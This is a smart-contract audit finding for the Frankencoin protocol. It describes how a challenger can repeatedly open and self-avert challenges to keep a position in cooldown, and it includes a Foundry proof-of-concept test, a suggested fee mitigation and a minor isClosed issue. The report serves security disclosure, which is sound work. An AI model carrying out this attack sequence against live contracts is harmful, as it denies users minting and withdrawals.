Frankencoin - ltyu's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L140-L148 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L208-L213 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L304-L317

Vulnerability details

Impact

Positions that are challenged can be averted if the bid is high enough. When a challenge is averted, the position goes into a temporary cooldown period of 1 day. Currently, there are no costs to start a challenge. This is problematic because there is nothing preventing the same challenger to self-avert their own challenge. This opens up the following DoS attack:

1. Attacker opens up a challenge
2. Attacker self-bids the challenge high enough to avert it. They receive their own challenge funds back.
3. Cooldown period is applied.
4. Before the cooldown period ends, user repeats steps 1-3.

When the cooldown is applied, the functions reduceLimitForClone, mint, and withdrawCollateral are restricted. This essentially gives control of when these functions can be executed to an adversary.

Proof of Concept

Add this test to GeneralTest.t.sol, run forge test --match-test testAvertDoS -vv.

function testAvertDoS() public {
        test01Equity(); // ensure there is some equity to burn
        address posAddress = test04Mint(); // create a position to be challenged
        Position pos = Position(posAddress);

        // check some assumptions
        require(pos.minted() == 100000 ether);
        require(pos.collateral().balanceOf(posAddress) == 1001);

        // bob challenges and then self-averts
        col.mint(address(bob), 1300);
        uint256 colBefore = col.balanceOf(address(bob));
        uint256 cooldownBefore = pos.cooldown();
        uint256 first = bob.challenge(hub, posAddress, 300);
        require(hub.isChallengeOpen(first));

        // avert first challenge
        bob.avertChallenge(hub, swap, first);
        uint256 colAfter = col.balanceOf(address(bob));

        skip(24 hours);
        // challenge and avert again
        first = bob.challenge(hub, posAddress, 300);
        bob.avertChallenge(hub, swap, first);
        uint256 cooldownAfter = pos.cooldown();

        require(colAfter == colBefore, "not the same col");
        require(cooldownAfter > cooldownBefore, "not the same cooldown");
}

Tools Used

Manual

Recommended Mitigation Steps

Adding a nominal fee to challenges to mitigate such attacks.

[L-1] isClosed can be incorrect

As noted in the code documentation for the function isClosed:

A position should only be considered 'closed', once its collateral has been withdrawn.
* This is also a good creterion when deciding whether it should be shown in a frontend.

Currently, isClosed() relies on the balance of the collateral in the contract.

function collateralBalance() internal view returns (uint256){
    return IERC20(collateral).balanceOf(address(this));
}

This is problematic because collateral can be sent to the “closed” Position to make it seem like the position is still open. This can throw off the front-end or any other system that relies on this function.